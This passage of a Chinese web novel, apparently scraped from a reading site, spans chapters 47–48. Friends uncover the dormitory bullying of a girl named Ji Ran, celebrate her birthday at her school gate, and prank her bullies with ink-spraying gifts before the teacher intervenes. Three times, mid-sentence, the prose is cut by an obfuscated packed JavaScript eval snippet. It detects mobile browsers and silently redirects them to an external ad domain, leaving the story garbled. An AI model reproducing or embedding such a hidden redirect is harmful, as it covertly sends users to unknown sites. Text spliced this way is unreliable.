李雅阳说：“然后我就灵机一动，干脆找了个女生帮我打听，这个女生你应该听说过，小学跟我们同校的，叫刘婧怡。” 周笃文只想了一下就记起来了这个人，他示意李雅阳继续说。 李雅阳说：“刘婧怡跟我说，她本来打听了一圈，没听说有什么事，后来有天中午，她因为忘拿了个东西临时又回了趟女生宿舍，再出来的时候忽然听见不远处的一间女生宿舍里有人在喊救命，她就过去看了一下，结果发现是季苒被锁在了她们宿舍的厕所里。” “什么？”周笃文皱眉，“季苒被锁宿舍的厕所里了？什么意思？” 李雅阳身子往后一靠，说：“你还没明白吗？季苒被她们宿舍的女生针对了。” “为什么啊？”周笃文惊讶道。 李雅阳两手一摆：“不知道。刘婧怡说她也不清楚具体的，季苒什么都不愿意跟她说，不过季苒班上有个女生倒是跟她说了一点内情，好像是说针对季苒那几个女生因为都是交高价进去的，本身也不爱学，在寝室每天都很闹腾，好像季苒就是因为这个才跟她们产生了矛盾，那三个女生在班上也挺针对季苒的。” 周笃文听完，沉默了好一会儿，然后说：“行，我知道了，谢谢你啊兄弟。” 李雅阳摆手：“小事。”又问，“那你……你们接下来打算怎么办呢？” 周笃文面色沉郁道：“我先回去跟她们说一下具体的情况吧，肯定不能就让那几个女的就这么欺负季苒。” 李雅阳点头，说：“行，那要是有我帮得上忙的地方你就说，毕竟咱们都是一小的！” 周笃文：“嗯！” 周天上午，周笃文避开季苒约上其他人去了趟枫叶书店，然后把季苒在学校受欺负这事跟他们说了。 宋西宝是个急脾气，再加一个暴脾气的蒋博光，两人当下就说要冲到一中去找那几个女的算账！ 周笃文和程书逸，一个劝蒋博光，一个劝宋西宝，说的话都大差不差——不能那么冲动！首先，他们根本进不去一中。其次，只是打架也解决不了季苒的问题！ 宋西宝问：“为什么季苒不跟我们说这些事啊？那些人欺负她多久了？” 周笃文摇头：“不知道，除了把季苒锁厕所，也不知道她们还对她做了什么？” 宋西宝听周笃文这么说，心里一下生出恐惧来。 季苒从小就胆子小，小时候都不敢跟男生一起玩，看个鬼片都吓得要哭，她从来不说别人坏话，还总是帮助身边的人，她那么善良，为什么那些人要这么欺负她？ 大家都沉默着，过了好一会儿，宋西宝才哑着嗓子说：“季苒肯定吓坏了。” 她话音刚落，眼眶里眼泪跟着就掉了下来。 大伙都愁眉紧锁地叹气。 宋西宝愤恨地用手背抹了把眼睛，程书逸瞧见了，从兜里翻出纸巾递给她一张，安慰说：“你别着急，会有办法的”。 程书逸话音还未落地，方思彤突然拍桌而起，表情凛然道：“我们必须帮季苒报仇！” 她这一下动静大的吧台的服务员都看过来了，周笃文一脑门官司地拉她坐下，安抚道：“仇肯定要报！关键是看怎么报？” “你说。”方思彤扭头看他。 周笃文：“……” 程书逸说：“我们先来梳理一下我们目前的问题和需求吧。问题就是季苒被同宿舍的女生欺负了，并且她显然不愿意让任何人知道这件事，就打算自己默默承受。” “这可以看作是两个问题。”方思彤接话说。 程书逸点头：“没错，一个问题是加害方的，另一个问题是受害方的。我们得解决这两个问题。” 蒋博光有点没听懂：“季苒一个受害者有什么问题？” 宋西宝沉声道：“她什么都不愿意说，甚至有可能她也不愿意反抗，这就是她的问题。” 蒋博光恍然大悟地噢了声，又问：“那怎么解决这两个问题呢？” “这就涉及到需求的问题了。”程书逸挨着看了众人一眼，“第一个问题我们肯定要想办法解决，至于第二个问题……” “也得解决！”宋西宝坚定道，她想了想，补充说，“并且我们得先解决第二个问题，只要第二个问题解决了，那季苒自己就能解决第一个问题。” “没错。”方思彤和周笃文对此都表示认可。 只有蒋博光听晕了：“什么第一个问题第二个问题，你们都把我绕晕了。你们就直接说，咱们现在要怎么做吧！” 另一边，季苒完全不知道她的朋友们已经知道了她被舍友们欺负的事。 上周五下午放学，她收拾好作业后回宿舍拿东西，结果一进屋就看见原本她收拾好的换下来的脏衣服被散乱地倒在了地上，甚至其中有一件白色的卫衣还被剪烂了。 她第一反应就是想哭，但她硬是咬着嘴唇忍住了。 她关上宿舍门，走过去把地上的脏衣服重新捡了起来，一件件重新叠好。 宿舍那几个女生已经走了，她坐在这间小小的屋子里，感觉就像呼吸不到氧气一样，觉得憋闷、窒息。 她们究竟为什么要这么对她？ 季苒第无数次问自己。 其实，她和舍友们最开始还是有过一段美好时光的。 一中的女生宿舍是六人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083131|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寝，但她们宿舍只住了五个人，后来开学没多久其中一个人就转班了同时也转宿舍了，于是她们宿舍就剩下季苒和另外三个女生。 那三个女生性格都非常活泼，甚至用“闹腾”这样的词来形容也不为过。 季苒是开学有一阵子后才知道她们三个都是交高价进来的，这就能解释为什么她们一天到晚不学习，总是在玩了。 开始，大家相安无事，甚至她们还带着季苒一起玩，一起去吃食堂、上课什么的，但很快，矛盾就出现了。 一中中午有午休，住校生需要回到宿舍休息，宿管还会安排点名，但她们宿舍，那三个女生从不午休，中午睡觉的时间她们永远在大声聊天。 季苒最开始还陪着她们聊，到后来实在顶不住就自己盖着被子休息，可是那三个女生看她上床休息也丝毫没有要降低音量的意思 季苒中午没得睡，下午课上就打瞌睡，她备的清凉油很快就被用完了，甚至她回到宿舍，那三个女生闻到她身上的清凉油味道，还要阴阳怪气地调侃一番，说她身上“一股怪味”。 这样的日子季苒忍了很长一段时间，然后某天中午她突然决定不忍了，就在三人大声说笑时，用商量的语气小声说了句：“不好意思，你们能小声一点吗？我想睡个午觉。” 三个女生当时安静了片刻没说话，但很快就以更大的声音闹了起来。 她们是故意的。 从那天开始，季苒和她们三个之间的关系就彻底交恶了。 她们开始各种挑她的刺，一会儿说她鞋有味让她放到外面去别放在屋里熏人，一会儿又说她的牙刷杯太脏了像垃圾堆里捡来的替她扔了让她换个新的吧。 总之就是，她们忽然开始全方位的否定她这个人、羞辱她这个人，蔑视并嘲笑她的一切。 更糟糕的是，她们还在班上散布各种有关于她的谣言，弄得几乎没有人愿意亲近她跟她做朋友，同学们对她避之不及，即使她解释，也没有人愿意听。 只有一个女生看她实在太可怜，私底下跟她说让她去跟那三个女生道个歉讲和吧，不然恐怕没人敢跟她做朋友。 恶人天生有人怕。 在这样的情况下，季苒实在没办法，只好尝试跟她们讲和，她甚至从自己并不多的生活费里省出钱来请她们吃零食，但得到的也不过是一阵更加阴阳怪气的笑声和羞辱。 后来就越来越过分。 班主任找她们三个谈话，就她们极差的学习态度做出批评，这件事她们也算在了季苒头上，非说是季苒去给班主任告的状，因为季苒前不久刚刚当上了学习委员。 季苒跟她们解释说自己没有告状，班主任是问过她们几个的学习情况，可自己什么也没说。 但这样的话她们是不相信的。 为了报复，她们开始在季苒午睡的时候故意摇床、大笑，搅得她不得安生，或是把垃圾桶里的垃圾直接倒在她床上，里面甚至还有带血的姨妈巾。 上周三中午，她们趁她起床上厕所，干脆直接把她锁在了厕所里面，要不是有同学听见她的求助及时救了她，等宿管来，那恐怕她早就迟到了。 那个救她的女同学自称叫刘婧怡，季苒当时心情很混乱，又着急去教室上课，根本没想起来她是谁？刘婧怡问她怎么会被锁在厕所？是被舍友锁起来的吗？ 她还替那三个人掩饰，说可能是她们没注意到她在厕所。 刘婧怡有没有相信她的话季苒不知道，她只是替自己觉得悲哀。 她有预感，也许她们马上就要对她做更加过分的事了，她该怎么办呢？ 47. 朋友 一礼拜后。 在一个风和日丽的下午，一辆橙色吉普忽然开到四中校门口前停下了，门岗亭里的保安正要出去说车不能停这儿，结果车就开走了。 过了会儿，一个打扮时髦靓丽的年轻女人戴着墨镜朝他走了过来。 这年轻女人正是周舟。 周舟走到门岗亭，保安出来上上下下打量她，问：“学生家长吗？” 周舟抬头对着保安粲然一笑，说：“对，请问是在这儿登记吗？” 她手指了指门口桌子上的登记簿。 保安被她那炫白的牙齿一晃，态度跟着柔和下来：“进校都要登记，但是登记之前我们还需要跟你孩子的班主任打电话确认，你孩子高几哪个班的？” 周舟说：“高一六班的，班主任姓黄，您打电话问问？” “你等一下。”保安转回去找到高一六班班主任的联系方式打了个电话过去，很快，他放下话筒又出来了，“确认过了，没问题，你把你的身份证号还有姓名电话都写上就可以进去了。” 周舟又是一笑，说了声好，弯下身子迅速登记好了个人信息。 保安确认无误后，就放她进去了。 这会儿刚好是课间，几栋教学楼里全是欢声笑语，周舟提着包，闭眼深呼吸了一口校园里的空气，感叹道：“青春呐……” 周笃文已经站楼梯口等她半天了，见到周舟过来，他一把抓住女人胳膊道：“小姑你可来了！等你半天了！” 周舟拉下一半墨镜，瞧他一眼，说：“急什么？”又把墨镜重新推上去，气势十足地吩咐他，“带路！” “嗻！” 原本，他们的计划里是没有叫周舟来学校这一趴的，但没办法，学渣天生不受老师信任，程书逸和方思彤那俩一说请假，老师立马就同意了，轮到他和宋西宝，费劲巴拉想半天借口不算，老师还各种不同意非要让家长到学校来当面请。 周笃文没办法，只好请她老人家出山帮个忙。 十几分钟后，四人先后交了假条出了校门，他们约好在距离校门口五百米处的一家米线店门口汇合。 四人脸上多多少少都带着点冒险的兴奋，周舟靠在吉普车门上抽烟，伸手点了点他们几个，说：“说好了，只是去给朋友送个蛋糕，送完就赶回来上晚自习，别惹事啊！” 几人都点着头答应。 周舟又从皮夹子里摸出几张红钞塞给周笃文道：“我还有事，就不送你们过去了，你们自己打车过去吧，有事再给我打电话。” 周笃文咧着嘴说：“知道了小姑！” 周舟走后，周笃文看眼手机，说：“博哥说他已经取到蛋糕了，我们直接过去一中就行。” “走！” 时间倒回到几天前。 在程书逸说完那番话后，宋西宝强迫自己停下脑子里那些乱七八糟的想法，冷静地把这事从头到尾想了一遍。 她忽然想到季苒生日好像快要到了…… 宋西宝摸出手机看了眼日历，确定好时间后，她说：“我有个主意。” 众人忙问：“什么主意？” 宋西宝说：“4月10号，也就是下下个礼拜的周四，是季苒的生日，那天要上课，她肯定以为生日过不成了，我们可以请假去一中给她个惊喜，你们觉得怎么样？” 周笃文说：“可是我们进不去一中啊！” 宋西宝说：“我们不用非得进去吧，之前季苒说过，他们学校很多家长下午会给孩子送饭，就在校门口那儿，我们可以找人把她叫出来，在校门口那儿见一面。” 蒋博光说：“这个主意可以诶，先不告诉她，然后再给她一个惊喜！她肯定高兴！” 程书逸也点头道：“我觉得可以。” 方思彤说：“主要是我们得让季苒知道，即使大家不在同一个学校了，但我们仍然是好朋友，我们仍然关心她，也愿意保护她，支持她。” “对！”宋西宝说，“我们得让她相信，不管她遭遇了什么，我们永远都不会嘲笑她，她也不是一个人，她还有我们。” 方思彤听得热血沸腾，她忽然说：“我还有个主意。” 几人凑过头去听她讲，片刻后，程书逸感慨道：“我可算是知道当初你们整我的时候是什么心情了。” …… 季苒最近在学校的日子很不好过。 除了宿舍里那三个，班上有那么一两个男生也忽然开始有些刻意针对她了。 就比如周三上午她们出完操，季苒因为肚子疼，在厕所里拉了好几次肚子才回教室，但她刚走进后门，后排的一个男生就捏着鼻子，假装没看到她一样在那儿扇了两下，说什么：哪儿来的一股屎臭味啊？ 季苒知道这个男生，他叫张雨晨，跟那三个欺负她的女生玩得很好，每周放假都能看见他们几个走在一起。 果然，听见张雨晨这么说，那三个女生一阵爆笑。 季苒煞白着脸回到了座位上。 接下来的一整堂课她都没心思听，偏偏这堂课又是班主任的数学课，班主任看出她状态不好，下课后将她叫到办公室，问她是不是身体不舒服？ 有那么一瞬间，季苒是想向老师求助的，但说不清为什么，最终她还是什么都没有说。 走出办公室的那一刻，她无比痛恨自己的懦弱，同时心里对自身的厌恶又多添了一层。 她甚至对晚上回寝室睡觉这件事产生了恐惧——她不想回去，不想跟那几个人待在同一间屋子里。 为什么？为什么她什么都说不出来？为什么她总是这么懦弱？难道被欺负、被羞辱真的是她的问题吗？ 季苒觉得自己好自卑，越来越自卑。 她根本一点都不厉害，西宝和思彤跟她玩，或许只是因为她们很善良，不忍心拒绝她而已。 西宝，思彤……她真的好想她们，有她们在，那些人或许就不敢这么欺负她了。 从小到大，她们总是保护着她，带她一起玩，她最快乐的时光就是跟朋友们在一起的时候，他们是那么好，什么都想着对方，念着对方，他们还会在她生日的时候陪她去爬山，陪她挂心心念念了很久的铜锁。 她的朋友们那么那么好，而她，却这么这么差劲。 季苒躲厕所哭过一场后才回的教室，周围人看见她眼眶红红的也没说什么，对班上同学来说，她就像是个透明人一样。 他们看不见她遭遇的一切，或者说，假装没看见。 周四这天下午，第三节课下课后，季苒突然听见有人叫她。 她抬头看，发现是那天中午把她从宿舍厕所放出来的女生，可惜她想不起她的名字了。 那个女生正在跟他们班班长说话，班长又叫了她一声：“季苒，有人找你。” 刘婧怡在教室外面的走廊上等季苒。 季苒出来后，走到离她还有两三步远的位置就停下了，她怯怯地问：“你好，你找我有什么事吗？” 刘婧怡却不客气地直接走到了她面前，那气势吓了季苒一跳。 刘婧怡抓着她的胳膊附在她耳边说：“下节课结束后，你去趟校门口。” “嗯？”季苒没听明白。 刘婧怡说：“我是帮人带话，你去了就知道。”她走出去两步，又退回来说，“我不会害你的，一定要去哦！” 季苒张张嘴，刘婧怡突然朝她笑了下，挥挥手跑掉了。 季苒回到教室，刚坐下，同桌破天荒地凑过来问：“季苒，你认识刘婧怡啊？” 季苒看向这个已经很久没跟她有过什么交流的男同桌，轻轻嗯了一声。 男生又问：“你俩是朋友吗？以前怎么没见你跟她一起玩过啊？” 季苒沉浸在自己的思绪中，没有再回答。 男生半天没听到她回复，撇撇嘴转回去了。 因为刘婧怡这个突发事件，一整堂课季苒都心思不在课上，她乱七八糟地想了很多，甚至想过这会不会又是谁想出来恶整她的把戏，但刘婧怡说不会害她，并且之前她还帮助过她…… 第四节课下课铃一响，老师刚宣布下课，季苒就冲了出去。 在下课前五分钟的时候，她忽然有一种强烈的预感，她觉得刘婧怡说的让她去校门口应该是一件好事。 虽然她实在想不到自己还能有什么好事发生，但她眼下实在需要一点好消息来给她一点希望和信心，于是一下课，她就迫不及待地冲了出去。 季苒一路疾跑，她从来没有跑得这么快过。 她从人群中穿过，就像困在黑暗已久的人终于要奔向光明一样。 然后……她果然看见了自己的光。 “季苒！！”宋西宝站在一中校门口的电子围栏外踮脚使劲朝她挥了挥手！ 季苒一下愣在那儿了。 她震惊地看着宋西宝，还有她左右两侧的方思彤、周笃文、蒋博光以及程书逸……大家都来了，他们怎么都来了？ 几人朝她挥手，喊她的名字，声音太大，甚至吸引了周围的学生和送饭的家长看向他们。 门岗亭里的保安过来让他们别喊那么大声，宋西宝就提起手里的东西拼命指给她看。 那是一个蛋糕盒。 蛋糕？ 季苒恍然大悟——原来今天是她的生日。 她自己都忘了。 反应过来这一点后，季苒当场就泪崩了。 她边哭边抹眼睛，校服袖子很快就湿透了。 季苒走到校门口，一看他们身上还穿着四中校服，又没忍住笑了，她吸吸鼻子，又是哭又是笑地问：“你们怎么都来了呀？你们是请假出来的吗？” 几人嗯嗯点头。 方思彤说：“我们请假来给你过生日！今天是你的生日你忘了吗？” 季苒委屈地一瘪嘴，再也忍不住了，张嘴哇地一声哭了出来。 旁边保安被她吓了一跳，忙把电子围栏打开了一道小口让几人进来，然后又把门口的桌子腾空了，示意他们把蛋糕放桌子上。 “别哭别哭。”宋西宝着急忙慌掏纸，结果身上摸遍了没掏着，还好程书逸有随身带纸的习惯，及时给了她一包。 季苒哭得完全停不下来，保安在旁边说：“小姑娘，你这几个朋友专门请假来给你过生日，多好的事啊，快别哭了！待会儿时间都哭完了！” 周笃文说：“对对，别哭了季苒，李雅阳说你们吃饭时间短，只有四十分钟，咱别把时间都浪费在眼泪上了。” 季苒抽泣着问：“李、李雅阳又是谁啊？” “咱们小学同班同学啊！你不记得啦？”周笃文提醒她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087424|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季苒恍然大悟，想起了这个人名背后对应的那张脸。 蒋博光又逗她：“别哭了，待会儿眼睛哭肿了回去你们同学看到了还以为你又被人欺负了呢！” 又。 季苒抽泣两声，眼睛睁大看着朋友们：“你们……” “我们都知道了，你舍友欺负你的事。”宋西宝摸着她的背说。 季苒震惊之下，打了个哭嗝。 蒋博光吐槽她：“季苒你也太能忍了！还有你到底把不把我们当朋友啊！都被人欺负成那样了还什么都不肯跟我们说！你是不是怕我们笑你？” 季苒：“我、我……” “别急。”方思彤给她顺背，然后用无比坚定的目光看着她说，“季苒，被人欺负不是你的错，就算丢脸，也是那几个欺负你的人丢脸，你应该感到愤怒，而不是自卑。” “彤姐说的没错。”宋西宝一脸严肃看着她，“季苒，我理解你的性格不愿意跟人起冲突，但是如果别人已经打你脸了，难道你还要笑嘻嘻地把另外半张脸递出去交给别人打吗？” 季苒目光怔怔看着她，像是被问住了。 宋西宝说：“我们今天来这，就是想让你知道，不管你遭遇了什么，你都不是一个人，你的身后还有我们！” “那些蠢货欺负你，你该反抗要反抗，她们骂你，你嘴笨骂不回去的话你至少得瞪她们一眼吧？就像你给我补课我打瞌睡你瞪我那样！你瞪回去！”宋西宝故意摆出一副夸张的表情说，“拜托！你可是季老师诶！” 季苒噙着泪花笑出了声。 蒋博光补充道：“就是！你不能什么都不做，你要不会骂人的话我教你一句，不管她们说啥，你就回她们两个字，傻逼！你要是什么都不做，他们只会觉得你好欺负，俗话说柿子要挑软的捏，你越是不反抗她们就越是会欺负你！” 程书逸又说：“如果你实在迈不出那一步，没办法跟她们正面冲突，那你就寻求外界的帮助。先跟老师说，老师如果和稀泥不管的话，那我们就直接写信给教育局，或者找当地晚报投稿，把这事闹大！” 程书逸说完后，周笃文仿佛是为了配合他的话，飞快地取下书包把提前给她准备好的礼物拿了出来—— “季苒，这盒子里面装的是录音笔，是我们大家一起给你买的生日礼物，以后要是再有人欺负你骂你，你就悄悄打开录音笔把他们的恶言恶语都录下来当做证据，免得到时候老师不相信你，以为你在乱说！” 大家七嘴八舌地替她想着办法，季苒怔怔听着，豆大的泪珠不断从眼眶中滚落。 她哽咽地说不出话，受伤开裂的心被朋友们温暖的话语一点点抚平，强烈的爱意几乎让她忍不住浑身发抖。 宋西宝边给她擦眼泪，边说：“季苒，不要让未来长大后的你，看不起现在的你。不要怕，我们都是你的勇气。” “嗯！我不怕！”季苒含着泪，表情倔强。 旁边坐在门岗亭里的保安大叔也听到了他们几个的对话，他安慰季苒道：“孩子，你朋友他们说的对，在学校受欺负了你要反抗，还要及时跟老师反映，我在这儿当了七八年保安了，说实话，每一年都有像你这样被欺负的孩子，甭管男女，都有！不是你们的问题，是现在有些孩子他就是喜欢整人，他坏心眼，天天看这个不顺眼看那个也不顺眼！你遇到问题要跟老师讲，大人们会帮你的，知道吧？” 季苒点点头，眼睛红红的，傻笑道：“谢谢叔叔” 保安大叔叹口气，扭头看了眼桌上时间，催他们：“行了，你们几个大老远来一趟也不容易，不是要给朋友过生日吗？赶紧的，该吹蜡烛吹蜡烛，该吃蛋糕吃蛋糕，时间到了，叔叔我可就要赶你们走了哦！” 几人一听，赶紧拆开蛋糕盒插蜡烛，结果蜡烛插好才发现谁都没有打火机。 保安大叔一乐，从裤兜里摸出火机借给他们。 蜡烛点好后，宋西宝起头，几人小小声地给她唱了一段生日快乐，季苒闭着眼睛许下了自己的生日愿望，然后专门切了一块大蛋糕递给保安大叔。 吃完蛋糕，季苒目送朋友们打车离开后，就回教室去了。 往教室走的路上，她反复回想着朋友们跟她说的话，心中的不安和恐慌一点点消失，取而代之的是无比的勇气和坚定的信心。 而另一边车上，周笃文收到李雅阳的消息后同步转达给其他人道：“李雅阳说他打算明天上午去送东西。” 宋西宝问：“会不会被人发现牵连到他啊？” 周笃文摇头：“放心好了，他说一中教室没有监控，而且季苒她们那一层走廊外面的监控早坏了，一直没修，到时候他戴上口罩，事办完往厕所一躲，再出来都穿着校服，谁也认不出他。” 宋西宝比了个大拇指，说：“义士大恩！”又疑惑道：“当年在一小我怎么不知道还有他这么一号人物呢？” 程书逸斜她一眼：“后悔没认识啊？” 宋西宝还点头：“嗯！感觉应该能玩到一起！” 程书逸：“你跟谁都能玩到一起。” 宋西宝呵了一声：“我跟你这种阴阳怪气的人就玩不到一起！” 程书逸：“呵。” 宋西宝：“呵！呵！” 旁边三人脸上涌现淡淡的无语，都在想：这两人又开始了…… 48. 对峙 当晚季苒一回到宿舍，就发现自己的漱口杯还有牙刷牙膏又被倒进了厕所垃圾桶里。 仨女生看她转身进了厕所，坐在各自的床铺上互相偷笑。 过了会儿，见季苒拿着东西从厕所出来了，其中一个女生便阴阳怪气地说：“季苒，你怎么这么恶心啊，扔到厕所的东西还捡起来用。” “穷逼。”另一个女生骂了句。 季苒跟没听见似的，脸上一片云淡风轻，没有一丝恼怒或羞色，她把东西冲洗干净，然后刷牙洗漱，全程不理会屋里那三个妖魔鬼怪的嬉笑和嘲讽。 洗漱完后，她把东西都甩干水，连带洗脸毛巾一起锁进了自己的储物柜里。 其中一个女生看见她给东西上锁的动作，气笑了，骂她：“一个破牙刷杯还当宝贝锁起来，以为谁稀罕吗？神经病！” “你不稀罕那你干嘛天天跟它过不去？”季苒忽然转身直视她。 说话的女生一愣。 季苒说：“这是你们第二次把我的洗漱用品扔到厕所。” “我们就扔了，你想怎么样吧？”坐在季苒背后的女生一脸太妹样看着她。 季苒收回视线，说：“你们承认就好。” 话音落，寝室熄灯了。 季苒回到自己床铺脱衣服准备睡觉，几盏台灯亮起，三个女生又是摊手又是翻白眼笑，一脸尖酸刻薄的样在那儿说闲话。 见季苒不予理会，仨女生对视一眼，正打算故技重施，跑到她上铺去摇床，结果屋外有人咚咚咚敲门，另一个下铺的女生前去开门，打开发现是宿管王老师。 “大晚上的你们宿舍还在吵什么吵？整一层楼就你们宿舍声音最大！不想睡了是吧？”王老师一边说，一边拿着大号电筒满屋扫射了一圈，又问，“谁是季苒？” 季苒刚躺进被窝，闻言立刻起身答应了一声：“老师我在这儿。” “哦。你睡的这边下铺噢！”王老师边说，电筒就跟着打了过来。 季苒心中莫名，问：“老师您找我有事吗？” “哦没事儿，我就来看看你。”王老师说着，又拿电筒扫了下另外三个女生，电筒光非常刺眼，是正打在她们脸上的，其中一个女生没忍住挡着眼睛说了句，“老师你照着我眼睛了！” 王老师一听，不仅没有收回电筒，反而还多在她脸上晃了两圈，说：“我是得好好照照你啊！我得看清楚你长什么样子，回头才好重点盯着你呀！” 女生一听这话，整个人都懵了，怯道：“什么意思啊老师？” “意思就是，从今天开始，我会重点观察你们这个宿舍，你们要是中午晚上不好好睡觉，在宿舍里给我搞些有的没的，那我不会跟你们客气的，我会直接找到你们班主任头上。” “……” 王老师走后，仨女生在那儿小声地骂了几句，还质问是不是季苒跟宿管说了什么？ 季苒一概没理。 这晚的407难得地早早安静了下来。 季苒平躺在床上心中疑惑：王老师为什么会专门来看她又警告另外三个人不要惹事呢？难道王老师也知道她被欺负的事？可是王老师又是怎么知道的呢？ 她百思不得其解，想着想着，困意袭来，很快睡着了。 第二天上午，季苒因为英语老师找她帮忙做事就没去出课间操，她做完事往教室走，刚到后门就看见有人在那三个女生的座位上鬼鬼祟祟的不知道在干什么？ 她吓了一跳，还没想好该怎么办，那人就转过来了，还戴着一个白色口罩。 “季苒！”男生隔着口罩喊了她一声。 季苒震惊地看着他：“你认识我？” “我！李雅阳啊！”男生拽下口罩给她看了一眼，又飞快拉起来，走过去拉着她往外面走道，“你怎么没去出操啊？我靠吓死我了突然扭头看见有人站在我背后。” 季苒一脸懵地说：“我、我去帮我们老师分了一下试卷。” “噢。”李雅阳左右望着。 季苒彻底混乱了，她说：“你刚在我们班干嘛呀？” “嘘！”李雅阳忽然凑近朝她竖起食指，季苒被他突然靠近的双眼吓得呼吸都紧了一下。 李雅阳忽然取下口罩，朝她笑了笑，说：“我就是帮周笃文一个小忙，你就当没看见我吧。” 他说完戴上口罩转身就往厕所那边走。 季苒大脑还在消化信息，原地站着没动，李雅阳扭头见她还站在那儿，又折返回来说：“你先别回教室了，等人都差不多回来了，你再回去，别最后这事还赖到你身上了。” “什么事啊？”季苒立刻反问。 李雅阳说：“秘密。” “……” 季苒躲进了女厕所。 十分钟后，人声渐沸，学生们做完操回来了。 女厕所进进出出的人也多了起来，季苒松下一口气，按下冲水键，打开厕所门走了出去。 她进教室前特意观察了一下——没有什么特别的事发生，那三个女生还没回来，估计又是去小卖部买零食吃了。 不知道为什么，季苒忽然有点紧张，她明显感觉到自己心跳变快了，还有种心慌慌的感觉，很急迫。 李雅阳做了什么？他说是帮周笃文，难道是朋友们拜托了他什么事吗？他们拜托了他什么？ 季苒忽然想起那天下午临走前方思彤附在她耳边说过的话—— 思彤说：季苒，我会帮你报仇的。 所以，是她想的那样吗？ 过了会儿，季苒等待已久的三人说说笑笑地进了教室。 季苒没有回头看，她握着笔，很认真地计算着手上这道题，但写的是什么她自己都不知道。 惊喜的声音很快从教室后面传来，季苒听见她们其中一个人说： “这谁给我的礼物啊？怎么连名字都没有？” 女生的声音并不低调，甚至像是有意吸引大家的注意，果然，周围的人都扭头看了过去。 很快，另外两个女生也发现了自己抽屉里的“礼物”，纷纷叫了起来： “我也有！” “我也是，我这儿也有！” “拆开看看。” 季苒握笔的手一顿，笔尖重重地按在只写了一半的x上。 “啊——！！” 几道尖叫声骤然刺激了全班耳膜，同学们哗然一片，季苒默默感受着这一刻头皮发麻的感觉，过了几秒，才跟着扭头往后看了一眼—— 只见那三人脸上皆被喷了一道黑墨，那墨汁的痕迹犹如一道鞭刑击打在三人脸上。 三人傻站在那儿，口唇半张，瞳孔放大，像是还没回过神来。 廖清萍一进教室看见的就是这副场面，三个女生又羞又气，不待班主任问询就跑出了教室往厕所方向去了。 廖清萍眉目肃厉，问：“班长，怎么回事？” 被点名的班长站起身，也是云里雾里的，结巴说：“廖老师，我们……也不知道是怎么回事，好像是有人在她们几个桌上放了东西，她们以为是礼物，结果打开就……” 廖清萍走上讲台，把手里的教案重重往桌上一拍，严厉的眼神扫视台下一圈，学生们纷纷低头，噤若寒蝉。 廖清萍让底下学生把那个整蛊玩具递了过来，又随手指了个靠后门的女生，说：“你去把她们三个给我叫出来。” 女生答应一声，忙起身去了。 “其余人自习，班长看着纪律。”廖清萍说完，去了教室外面。 过了会儿，去厕所叫人的女生回来了，隔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091484|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一面墙，能听到走廊外三个女生正在给班主任哭诉，中间廖清萍还打断说了句让她们小声点。 又过了大约一两分钟的样子，廖清萍推门进来，叫了声：“季苒，你出来一下。” 季苒放下笔起身往外走。 同桌男生看她那表情就跟见鬼了一样。 季苒出教室后，廖清萍直接把四人叫去了办公室问话。 到了办公室，廖清萍还没说话，三个女生就开始急不可耐地往季苒身上泼起了脏水，一口咬定说今天这一出就是季苒故意报复整她们的。 季苒几次欲言又止，与旁边三人对比起来，瞧着分外弱势。 “好了！”廖清萍皱着眉头，口气严厉地打断三人。又问季苒，“季苒，是她们说的这样吗？” 季苒立刻摇头，红着眼说：“不是廖老师，是她们一直欺负我，我从来没有报复过她们。” 三个女生一听，立刻就要反驳，廖清萍一巴掌拍在桌子上，吼了声：“闭嘴！” 廖清萍看看季苒，从桌上抽了两张纸巾递给她，说：“她们怎么欺负你的，你跟老师说说看。” 季苒就把从上学期到这学期发生过的事全部跟廖清萍说了一遍，中途的时候，廖清萍脸色已经很难看了，等季苒说完，廖清萍打了个电话给宿管。 廖清萍问了王老师一些四人平时在寝室的相处情况，王老师据实相告，说平时巡寝，经常听到407宿舍大吵大闹，还说昨天接到别班的女同学投诉，说407有欺凌行为发生——同宿舍三个女生把另一个女生关在厕所不让人出来，所以她昨晚专门跑了一趟407去警告她们。 电话挂断后，廖清萍忽然冷笑起来，三女生看班主任脸色，都觉得形势不妙，背着手紧张起来。 廖清萍懒得跟她们多说，直接对着三人说：“打电话把你们父母叫来吧。” “廖老师！” “廖老师……” “廖老师我们没有……” 廖清萍没搭理三人，又看眼季苒，拿起桌上的整蛊玩具说：“季苒，这个真的跟你没关系吗？” 季苒态度坚决地摇头，说自己也不知道这是什么。 廖清萍点点头，说：“行，我知道了，你先回教室去吧，把你刚刚跟我说的这些都写下来，如果记得时间的话，最好把详细时间也写上。” 季苒点点头。 